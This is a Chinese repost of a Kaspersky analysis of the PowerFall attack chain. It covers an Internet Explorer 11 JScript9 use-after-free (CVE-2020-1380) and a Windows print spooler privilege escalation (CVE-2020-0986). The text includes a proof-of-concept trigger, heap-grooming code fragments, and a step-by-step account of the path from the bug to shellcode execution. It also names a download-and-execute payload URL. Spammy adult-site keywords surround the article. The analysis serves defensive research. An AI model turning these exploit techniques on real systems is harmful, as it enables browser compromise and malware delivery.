成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

大神淺談:IE和Windows的兩個0-day漏洞分析

安全 漏洞
與我們以前在WizardOpium惡意活動中發現的攻擊鏈不同,新的攻擊鏈可以針對Windows 10的最新版本發動攻擊。經過測試表明,該漏洞可以可靠地在Internet Explorer 11和Windows 10 x64的18363版本上利用。

0x00 概述

2020年5月,卡巴斯基成功防御了Internet Explorer惡意腳本對某家韓國企業的攻擊。經過進一步分析發現,該工具使用了以前未知的完整利用鏈,其中包括兩個0-day漏洞:Internet Explorer遠程代碼執行漏洞、Windows特權提升漏洞。與我們以前在WizardOpium惡意活動中發現的攻擊鏈不同,新的攻擊鏈可以針對Windows 10的最新版本發動攻擊。經過測試表明,該漏洞可以可靠地在Internet Explorer 11和Windows 10 x64的18363版本上利用。

[[338727]]

2020年6月8日,我們向Microsoft報告了我們的發現,并且Microsoft已確認漏洞。在我們撰寫報告時,Microsoft的安全團隊已經針對CVE-2020-0986漏洞發布了補丁,修復這一特權提升0-day漏洞。但是,在我們發現該漏洞之前,這一漏洞的可利用性被評估為“不太可能”。CVE-2020-0986的修復程序在2020年6月9日發布。

Microsoft為JScript的Use-After-Free漏洞分配了CVE-2020-1380編號,該漏洞的補丁于2020年8月11日發布。

 

大神淺談:IE和Windows的兩個0-day漏洞分析

我們將這一系列攻擊稱為PowerFall惡意活動。目前,我們暫時不能將惡意活動與任何已知的威脅行為者建立明確聯系,但根據它與以前發現漏洞的相似性,我們認為DarkHotel可能是此次攻擊的幕后黑手。卡巴斯基產品目前將PowerFall攻擊檢測為“PDM:Exploit.Win32.Generic”。

0x01 Internet Explorer 11遠程代碼執行漏洞

在野外發現的Internet Explorer最新0-day攻擊利用了舊版本JavaScript引擎jscript.dll中的漏洞CVE-2020-0674、CVE-2019-1429、CVE-2019-0676和CVE-2018-8653。其中,CVE-2020-1380是jscript9.dll中的一個漏洞,該漏洞自Internet Explorer 9開始存在,因此Microsoft建議的緩解步驟(限制jscript.dll的使用)無法針對這個特定漏洞實現防護。

CVE-2020-1380是一個釋放后使用(Use-After-Free)漏洞,由于JIT優化過程中,JIT編譯的代碼中缺少必要的檢查導致。下面展示了觸發漏洞的PoC:

  1. function func(O, A, F, O2) { 
  2.     arguments.push = Array.prototype.push; 
  3.     O = 1; 
  4.     arguments.length = 0; 
  5.     arguments.push(O2); 
  6.     if (F == 1) { 
  7.         O = 2; 
  8.     } 
  9.  
  10.     // execute abp.valueOf() and write by dangling pointer 
  11.     A[5] = O; 
  12. }; 
  13.  
  14. // prepare objects 
  15. var an = new ArrayBuffer(0x8c); 
  16. var fa = new Float32Array(an); 
  17.  
  18. // compile func 
  19. func(1, fa, 1, {}); 
  20. for (var i = 0; i < 0x10000; i++) { 
  21.     func(1, fa, 1, 1); 
  22.  
  23. var abp = {}; 
  24. abp.valueOf = function() { 
  25.  
  26.     // free  
  27.     worker = new Worker('worker.js'); 
  28.     worker.postMessage(an, [an]); 
  29.     worker.terminate(); 
  30.     worker = null
  31.  
  32.     // sleep 
  33.     var start = Date.now(); 
  34.     while (Date.now() - start < 200) {} 
  35.  
  36.     // TODO: reclaim freed memory 
  37.  
  38.     return 0 
  39. }; 
  40.  
  41. try { 
  42.     func(1, fa, 0, abp); 
  43. } catch (e) { 
  44.     reload() 

要理解這一漏洞,我們首先看一下func()的執行方式。這里,重要的是了解將什么值設置為A[5]。根據代碼,與之相關的應該是一個參數O。在函數開始時,會將參數O重新分配為1,但隨后將函數參數長度設置為0。這個操作不會清除函數參數(通常,常規數組會這樣做),但允許將參數O2放在索引為0的參數列表1中,這意味著O = O2。除此之外,如果參數F等于1,則會再次重新分配O,但這次會分配整數2。這意味著,根據參數F的值,O參數會等于O2參數的值或是整數2。參數A是32位浮點型數組,在將值分配給數組的索引5之前,會將值首先轉換為浮點數。將整數轉換為浮點數的過程比較簡單,但是如果要將對象轉換為浮點數,這個過程就不再那么簡單了。該漏洞利用使用了重載方法valueOf()中的abp對象。當對象轉換為浮點型時執行此方法,但是在其內部,包含釋放ArrayBuffer的代碼,該代碼由Float32Array查看,并在其中設置返回值。為了防止將值存儲在已釋放對象的內存中,JavaScript引擎需要首先檢查對象的狀態,然后再將值存儲在對象中。為了安全地轉換和存儲浮點值,JScript9.dll使用函數Js::TypedArray::BaseTypedDirectSetItem()。下面是這個函數的反編譯代碼:

  1. int Js::TypedArray<float,0>::BaseTypedDirectSetItem(Js::TypedArray<float,0> *this, unsigned int index, void *object, int reserved) 
  2.     Js::JavascriptConversion::ToNumber(object, this->type->library->context); 
  3.     if ( LOBYTE(this->view[0]->unusable) ) 
  4.         Js::JavascriptError::ThrowTypeError(this->type->library->context, 0x800A15E4, 0); 
  5.     if ( index < this->count ) 
  6.     { 
  7.         *(float *)&this->buffer[4 * index] = Js::JavascriptConversion::ToNumber( 
  8.             object, 
  9.             this->type->library->context); 
  10.     } 
  11.     return 1; 
  12.  
  13. double Js::JavascriptConversion::ToNumber(void *object, struct Js::ScriptContext *context) 
  14.     if ( (unsigned char)object & 1 ) 
  15.         return (double)((int)object >> 1); 
  16.     if ( *(void **)object == VirtualTableInfo<Js::JavascriptNumber>::Address[0] ) 
  17.         return *((double *)object + 1); 
  18.     return Js::JavascriptConversion::ToNumber_Full(object, context); 

該函數檢查浮點型數組的view[0]->unusable和count字段。在執行valueOf()方法的過程中,當ArrayBuffer被釋放時,這兩項檢查都將失敗,因為此時view[0]->unusable為1,并且在第一次調用Js::JavascriptConversion::ToNumber()時count為0。問題在于,Js::TypedArray::BaseTypedDirectSetItem()函數僅在解釋模式下使用。

當函數func()被即時編譯時,JavaScript引擎將會使用以下存在漏洞的代碼:

  1. if ( !((unsigned char)floatArray & 1) && *(void *)floatArray == &Js::TypedArray<float,0>::vftable ) 
  2.   if ( floatArray->count > index ) 
  3.   { 
  4.     buffer = floatArray->buffer + 4*index
  5.     if ( object & 1 ) 
  6.     { 
  7.       *(float *)buffer = (double)(object >> 1); 
  8.     } 
  9.     else 
  10.     { 
  11.       if ( *(void *)object != &Js::JavascriptNumber::vftable ) 
  12.       { 
  13.         Js::JavascriptConversion::ToFloat_Helper(object, (float *)buffer, context); 
  14.       } 
  15.       else 
  16.       { 
  17.         *(float *)buffer = *(double *)(object->value); 
  18.       } 
  19.     } 
  20.   } 

這是Js::JavascriptConversion::ToFloat_Helper()函數的代碼:

  1. void Js::JavascriptConversion::ToFloat_Helper(void *object, float *buffer, struct Js::ScriptContext *context) 
  2.   *buffer = Js::JavascriptConversion::ToNumber_Full(object, context); 

如我們所見,與解釋模式不同,在即時編譯的代碼中,不會檢查ArrayBuffer的生命周期,并且可以釋放它的內存,然后在調用valueOf()函數時將其回收。此外,攻擊者可以控制將返回值寫入到哪個索引中。但是,在arguments.length = 0;和arguments.push(O2);的情況下,PoC會將其替換為arguments[0] = O2;,所以Js::JavascriptConversion::ToFloat_Helper()就不會觸發這個Bug,因為隱式調用將被禁用,并且不會執行對valueOf()函數的調用。

為了確保及時編譯函數func(),漏洞利用程序會執行該函數0x10000次,對整數進行無害的轉換,并且只有在再次執行func()之后,才會觸發Bug。為了釋放ArrayBuffer,漏洞利用使用了一種濫用Web Workers API的通用技術。postMessage()函數可以用于將對象序列化為消息,并將其發送給worker。但是,這里的一個副作用是,已傳輸的對象會被釋放,并且在當前腳本上下文中變為不可用。在釋放ArrayBuffer后,漏洞利用程序通過模擬Sleep()函數使用的代碼觸發垃圾回收機制。這是一個while循環,用于檢查Date.now()與先前存儲的值之間的時間間隔。完成后,漏洞利用會使用整數數組回收內存。

  1. for (var i = 0; i < T.length; i += 1) { 
  2.         T[i] = new Array((0x1000 - 0x20) / 4); 
  3.         T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket 
  4.     } 

在創建大量數組后,Internet Explorer會分配新的LargeHeapBlock對象,這些對象會被IE的自定義堆實現使用。LargeHeapBlock對象將存儲緩沖區地址,將這些地址分配給數組。如果成功實現了預期的內存布局,則該漏洞將使用0覆蓋LargeHeapBlock偏移量0x14處的值,該值恰好是分配的塊數。

jscript9.dll x86的LargeHeapBlock結構:

 

大神淺談:IE和Windows的兩個0-day漏洞分析

此后,漏洞利用會分配大量的數組,并將它們設置為在漏洞利用初始階段準備好的另一個數組。然后,將該數組設置為null,漏洞利用程序調用CollectGarbage()函數。這將導致堆碎片整理,修改后的LargeHeapBlock及其相關的數組緩沖區將被釋放。在這個階段,漏洞利用會創建大量的整數數組,以回收此前釋放的數組緩沖區。新創建的數組的魔術值設置為索引0,該值通過指向先前釋放的數組的懸空指針以進行檢查,從而確認漏洞利用是否成功。

  1. for (var i = 0; i < K.length; i += 1) { 
  2.            K[i] = new Array((0x1000 - 0x20) / 4); 
  3.            K[i][0] = 0x888; // store magic 
  4.        } 
  5.  
  6.        for (var i = 0; i < T.length; i += 1) { 
  7.            if (T[i][0] == 0x888) { // find array accessible through dangling pointer 
  8.                R = T[i]; 
  9.                break; 
  10.            } 
  11.        } 

最后,漏洞利用創建了兩個不同的JavascriptNativeIntArray對象,它們的緩沖區指向相同的位置。這樣,就可以檢索對象的地址,甚至可以創建新的格式錯誤的對象。該漏洞利用使用這些原語來創建格式錯誤的DataView對象,并獲得對該進程整個地址空間的讀/寫訪問權限。

在構建了任意的讀/寫原語之后,就可以繞過控制流防護(CFG)并執行代碼了。該漏洞利用使用數組的vftable指針獲取jscript9.dll的模塊基址。從這里,它解析jscript9.dll的PT頭,以獲得導入目錄表的地址,并解析其他模塊的基址。這里的目標是找到函數VirtualProtect()的基址,該地址將用于執行Shellcode的過程。之后,漏洞利用程序在jscript9.dll中搜索兩個簽名。這些簽名對應Unicode字符串split和JsUtil::DoublyLinkedListElement::LinkToBeginning()函數地址。Unicode字符串split的地址用于獲取對該字符串的代碼引用,并借助它來幫助解析函數Js::JavascriptString::EntrySplit()的地址,該函數實現了字符串方法split()。函數LinkToBeginning()的地址用于獲取全局鏈表中第一個ThreadContext對象的地址。這個漏洞利用程序會在鏈表中找到最后一個條目,并利用它為負責執行腳本的線程獲取堆棧位置。然后,就到了最后一個階段。漏洞利用程序執行split()方法,并提供一個具有重載valueOf()方法的對象作為限制參數。在執行Js::JavascriptString::EntrySplit()函數的過程中,執行重載的valueOf()方法時,漏洞利用程序將搜索線程的堆棧以查找返回地址,將Shellcode放置在準備好的緩沖區中,獲取其地址。最后,通過覆蓋函數的返回地址,構建一個面向返回的編程(ROP)鏈以執行Shellcode。

0x02 下一階段

Shellcode是附加到Shellcode上的可移植可執行(PE)模塊的反射DLL加載器。這個模塊非常小,全部功能都位于單個函數內。它在名為ok.exe的臨時文件夾中創建一個文件,將遠程執行代碼中利用的另一個可執行文件的內容寫入到其中。之后,執行ok.exe。

ok.exe可執行文件包含針對GDI Print / Print Spooler API中的任意指針解引用特權提升漏洞(CVE-2020-0986)。該漏洞最初是一位匿名用戶通過Trend Micro的Zero Day Initiative計劃向Microsoft報告的。由于該漏洞在報告后的6個月內未發布補丁,因此ZDI將這一0-day漏洞進行披露,披露日期為2020年5月19日。第二天,這一漏洞就已經在先前提到的攻擊中被利用。

利用這一漏洞,可以使用進程間通信來讀取和寫入splwow64.exe進程的任意內存,并繞過CFG和EncodePointer保護,從而實現splwow64.exe中的代碼執行。該漏洞利用程序的資源中嵌入了兩個可執行文件。第一個可執行文件以CreateDC.exe的形式寫入磁盤,并用于創建設備上下文(DC),這是漏洞利用所必需的。第二個可執行文件的名稱為PoPc.dll,如果利用成功,會由具有中等完整性級別的splwow64.dll執行。我們將在后續文章中提供有關CVE-2020-0986及其漏洞利用的更多信息。

從splwow64.exe執行惡意PowerShell命令:

 

大神淺談:IE和Windows的兩個0-day漏洞分析

PoPc.dll的主要功能也位于單個函數之中。它執行一個編碼后的PowerShell命令,該命令用于從www[.]static-cdn1[.]com/update.zip下載文件,將其保存為臨時文件upgrader.exe并執行。由于卡巴斯基已經在下載可執行文件前阻止了攻擊,因此我們未能拿到upgrader.exe,無法對其進行進一步分析。

責任編輯:未麗燕 來源: 今日頭條
相關推薦

2024-03-06 13:27:23

2021-03-16 10:52:56

Chrome瀏覽器漏洞

2013-11-15 15:36:23

2013-11-20 14:44:07

2021-07-17 06:41:12

谷歌Chrome瀏覽器

2010-03-30 09:26:46

2013-04-08 15:44:28

2021-11-29 11:50:47

Windows 操作系統漏洞

2022-12-02 14:12:14

漏洞間諜軟件

2013-07-16 09:38:50

2010-01-20 16:13:15

2021-11-01 11:59:56

Windows 操作系統漏洞

2015-08-28 13:37:39

2016-12-19 15:58:34

2022-04-26 06:37:18

漏洞網絡安全網絡攻擊

2013-05-23 10:48:14

EPATHOBJ 0d0day漏洞

2009-11-29 16:53:17

2017-01-03 19:48:33

2025-02-25 10:52:24

2011-08-26 11:44:01

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 久久久精品久久久 | 亚洲久久久| 日韩精品一区二区三区在线播放 | 久久精品毛片 | 毛片链接| 99精品欧美一区二区蜜桃免费 | 日本成年免费网站 | 精品一区二区三区在线观看国产 | 免费看片在线播放 | 国产免费人成xvideos视频 | 久久成人国产 | aaa一区 | 色伊人久久 | 日韩精品久久久久 | 岛国av一区二区三区 | 成人国产午夜在线观看 | 亚洲视频手机在线 | 国产一区二区三区四区在线观看 | 久在线 | 亚洲一区二区三区桃乃木香奈 | 久久久精品天堂 | 亚洲精品成人av久久 | 日韩欧美在线观看 | 爱操影视 | 91精品久久久久久久久中文字幕 | 久久不卡| 黄色一级大片在线免费看产 | 性生活毛片 | 国产资源视频 | 午夜精品一区二区三区免费视频 | 国外成人在线视频 | 欧美在线a | 激情视频中文字幕 | 日韩欧美三级在线 | 国产精品污www一区二区三区 | 亚洲视频二区 | 久草视频在线播放 | 一本色道精品久久一区二区三区 | 国产精品国产成人国产三级 | 特黄色一级毛片 | 色婷婷狠狠 |